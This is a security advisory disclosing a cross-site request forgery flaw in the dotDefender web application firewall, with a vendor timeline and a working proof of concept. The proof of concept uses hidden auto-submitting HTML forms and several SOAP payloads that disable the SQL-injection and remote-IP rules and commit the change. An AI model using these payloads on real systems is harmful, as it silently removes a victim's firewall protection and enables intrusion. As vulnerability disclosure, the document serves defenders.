1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/DOT-DEFENDER-CSRF.txt Vendor: ================== www.applicure.com Product: ===================== dotDefender Firewall Versions: 5.00.12865 / 5.13-13282 dotDefender is a Web application firewall (WAF) for preventing hacking attacks like XSS, SQL Injections, CSRF etc... that provides Apache and IIS Server Security across Dedicated, VPS and Cloud environments. It meets PCI Compliance and also provides E-Commerce Security, IIS and Apache Security, Cloud Security and more. Vulnerability Type: ================================= Cross Site Request Forgery - CSRF CVE Reference: ============== N/A Vulnerability Details: ===================== Dotdefender firewall (WAF) is vulnerable to cross site request forgery, this allows attackers to make HTTP requests via the victims browser to the dotdefender management server on behalf of the victim if the victim is logged in and visits a malicious web page or clicks an infected link. Result can be modifying or disabling various firewall patterns, User-Defined Rule settings and global event logging etc... HTTP requests sent to Dotdefender to enable or disable user-Defined rule settings are base64 encoded using SOAP protocol. Sending the below base64 value for example disables a Dotdefender firewall setting. PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+ <enabled>false</enabled> Tested successfully on Windows & Linux: dotDefender Version:5.00.12865 Web Server Type:Microsoft-IIS Server Operating System:Windows Web Server Version: 7.5 Firefox web browser dotDefender Version: 5.13-13282 Web Server Type: Apache Server Operating System: Linux Exploit code(s): =============== Example to send requests to disable firewall rule settings that defends against SQL injection. We need to send two requests first to modify the desired settings and second to commit our changes. HTTP request 0x01 - send following soap request to disable SQL Injection request firewall rule ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ <IFRAME style="display:none" name="demonica"></IFRAME> <form target="demonica" id="SACRIFICIAL" action=" http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain" method="post" onsubmit="TORMENT()"> <input type="hidden" name='<soapenv:Envelope xmlns:xsi=" http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"> <ns1:set_xpath><site xsi:type="xsd:string">0</site> <xpath xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=1]/enabled</xpath> <xml xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml> </ns1:set_xpath></soapenv:Body></soapenv:Envelope>'> <script>document.getElementById('SACRIFICIAL').submit()</script> </form> HTTP request 0x02 - send the next request to commit the changes ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ <form target="demonica" id="VICTIM" action=" http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain" method="post"> <input type="hidden" name='<soapenv:Envelope xmlns:xsi=" http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:commit> <sites><element0 id="0" xsi:type="xsd:string">0</element0></sites> </ns1:commit></soapenv:Body></soapenv:Envelope>'> <script>function TORMENT(){document.getElementById('VICTIM').submit()}</script> </form> Other SOAP payload examples for rule disabling: ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~= this is disable a rule #19, send the below request to disable remote IP protections: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI=" http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC=" http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:set_xpath><site xsi:type="xsd:string">0</site> <xpath xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=19]/enabled</xpath> <xml xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml></ns1:set_xpath></soapenv:Body></soapenv:Envelope> disable rule 20: ~=~=~=~=~=~=~=~= <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV=" http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv=" http://schemas.xmlsoap.org/soap/envelope/" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"> <ns1:set_xpath><site xsi:type="xsd:string">0</site><xpath xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=20]/enabled</xpath> <xml xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml></ns1:set_xpath></soapenv:Body></soapenv:Envelope> Finally commit them with below request: ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~= <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV=" http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv=" http://schemas.xmlsoap.org/soap/envelope/" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"> <ns1:commit><sites><element0 id="0" xsi:type="xsd:string">0</element0></sites></ns1:commit></soapenv:Body></soapenv:Envelope> Disclosure Timeline: ================================ Vendor Notifications: initial report 11/16/2015 vendor response 11/20/2015 vendor delays for two months 1/19/2016 Vendor finally acknowledges vulnerability inform vendor of a disclosure date vendor no longer responds Feb 8, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================== High Description: ========================================================== Request Method(s): [+] POST Vulnerable Product:[+] DotDefender v5.0 & v5.13 =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx |